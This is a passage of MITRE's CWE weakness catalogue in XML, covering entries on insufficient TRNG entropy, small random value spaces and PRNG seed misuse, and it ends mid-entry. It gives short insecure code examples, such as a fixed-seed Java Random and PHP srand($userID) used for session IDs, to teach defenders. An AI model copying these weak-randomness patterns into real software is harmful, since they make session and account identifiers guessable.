	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="333" Name="Improper Handling of Insufficient Entropy in TRNG" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.</Description>
         <Extended_Description>The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="331" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>A program may crash or block if it runs out of random numbers.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Rather than failing on a lack of random numbers, it is often preferable to wait for more numbers to be created.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code uses a TRNG to generate a unique session id for new connections to a server:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>while (1){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (haveNewConnection()){<xhtml:div style="margin-left:1em;">if (hwRandom()){<xhtml:div style="margin-left:1em;">int sessionID = hwRandom();<xhtml:br/>createNewConnection(sessionID);</xhtml:div>} } }</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>This code does not attempt to limit the number of new connections or make sure the TRNG can successfully generate a new random number. An attacker may be able to create many new connections and exhaust the entropy of the TRNG. The TRNG may then block and cause the program to crash or hang.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure of TRNG</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC02-J</Entry_ID>
               <Entry_Name>Generate strong random numbers</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Failure of TRNG</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Handle Insufficient Entropy in TRNG</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="334" Name="Small Space of Random Values" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="330" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
               <Note>An attacker could easily guess the values used. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-2">
               <Phase>Architecture and Design</Phase>
               <Phase>Requirements</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-47">
               <Intro_Text>The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.</Intro_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;sun-web-app&gt;<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>&lt;session-config&gt;<xhtml:div style="margin-left:1em;">
                              <xhtml:div>&lt;session-properties&gt;<xhtml:div style="margin-left:1em;">&lt;property name="idLengthBytes" value="8"&gt;<xhtml:div style="margin-left:1em;">&lt;description&gt;The number of bytes in this web module's session ID.&lt;/description&gt;</xhtml:div>&lt;/property&gt;</xhtml:div>&lt;/session-properties&gt;</xhtml:div>
                           </xhtml:div>&lt;/session-config&gt;<xhtml:br/>...</xhtml:div>
                     </xhtml:div>&lt;/sun-web-app&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.</Body_Text>
               <Body_Text>Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0583</Reference>
               <Description>Product uses 5 alphanumeric characters for filenames of expense claim reports, stored under web root.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0583</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0903</Reference>
               <Description>Product uses small number of random numbers for a code to approve an action, and also uses predictable new user IDs, allowing attackers to hijack new accounts.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0903</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1230</Reference>
               <Description>SYN cookies implementation only uses 32-bit keys, making it easier to brute force ISN.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1230</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0230</Reference>
               <Description>Complex predictability / randomness (reduced space).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0230</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Small Space of Random Values</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-267"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 20: Weak Random Numbers.&#34; Page 299"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="335" Name="Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses a Pseudo-Random Number Generator (PRNG) but does not correctly manage seeds.</Description>
		 <Extended_Description>
		   <xhtml:p>
		   PRNGs are deterministic and, while their output appears
		   random, they cannot actually create entropy. They rely on
		   cryptographically secure and unique seeds for entropy so
		   proper seeding is critical to the secure operation of the
		   PRNG.</xhtml:p>
		   <xhtml:p>
		   Management of seeds could be broken down into two main areas:
		   </xhtml:p>
		   <xhtml:ul>
			 <xhtml:li>
		   (1) protecting seeds as cryptographic material (such as a cryptographic key);
			 </xhtml:li>
			 <xhtml:li>
		   (2) whenever possible, using a uniquely generated seed from
		   a cryptographically secure source
			 </xhtml:li>
		   </xhtml:ul>
			 <xhtml:p>
			   PRNGs require a seed as input to generate a stream of
			   numbers that are functionally indistinguishable from
			   random numbers.  While the output is, in many cases,
			   sufficient for cryptographic uses, the output of any
			   PRNG is directly determined by the seed provided as
			   input. If the seed can be ascertained by a third party,
			   the entire output of the PRNG can be made known to
			   them. As such, the seed should be kept secret and
			   should ideally not be able to be guessed. For example,
			   the current time may be a poor seed. Knowing the
			   approximate time the PRNG was seeded greatly reduces
			   the possible key space.
			 </xhtml:p>
			 <xhtml:p>
			   Seeds do not necessarily need to be unique, but reusing seeds may open up attacks if the seed is discovered.
			 </xhtml:p>
		 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="330" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="330" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
               <Note>If a PRNG is used incorrectly, such as using the same seed for each initialization or using a predictable seed, then an attacker may be able to easily guess the seed and thus the random numbers. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.</Note>
            </Consequence>
         </Common_Consequences>
		 <Observed_Examples>
			<Observed_Example>
				<Reference>CVE-2020-7010</Reference>
				<Description>Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time.</Description>
				<Link>https://www.cve.org/CVERecord?id=CVE-2020-7010</Link>
			 </Observed_Example>
		   <Observed_Example>
			 <Reference>CVE-2019-11495</Reference>
			 <Description>server uses erlang:now() to seed the PRNG, which
			 results in a small search space for potential random
			 seeds</Description>
			 <Link>https://www.cve.org/CVERecord?id=CVE-2019-11495</Link>
		   </Observed_Example>
		   <Observed_Example>
			 <Reference>CVE-2018-12520</Reference>
			 <Description>Product's PRNG is not seeded for the generation of session IDs</Description>
			 <Link>https://www.cve.org/CVERecord?id=CVE-2018-12520</Link>
		   </Observed_Example>
		   <Observed_Example>
			 <Reference>CVE-2016-10180</Reference>
			 <Description>Router's PIN generation is based on rand(time(0)) seeding.</Description>
			 <Link>https://www.cve.org/CVERecord?id=CVE-2016-10180</Link>
		   </Observed_Example>
		 </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>PRNG Seed Error</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 20: Weak Random Numbers.&#34; Page 299"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Modes_of_Introduction, Name, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">PRNG Seed Error</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="336" Name="Same Seed in Pseudo-Random Number Generator (PRNG)" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.</Description>
         <Extended_Description>Given the deterministic nature of PRNGs, using the same seed for each initialization will lead to the same output in the same order. If an attacker can guess (or knows) the seed, then the attacker may be able to determine the random numbers that will be produced from the PRNG.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="335" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>

            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Scope>Access Control</Scope>
               <Impact>Other</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-2">
               <Phase>Architecture and Design</Phase>
               <Phase>Requirements</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code uses a statistical PRNG to generate account IDs.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private static final long SEED = 1234567890;<xhtml:br/>public int generateAccountID() {<xhtml:div style="margin-left:1em;">Random random = new Random(SEED);<xhtml:br/>return random.nextInt();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-45">
               <Intro_Text>This code attempts to generate a unique random identifier for a user's session.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function generateSessionID($userID){<xhtml:div style="margin-left:1em;">srand($userID);<xhtml:br/>return rand();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.</Body_Text>
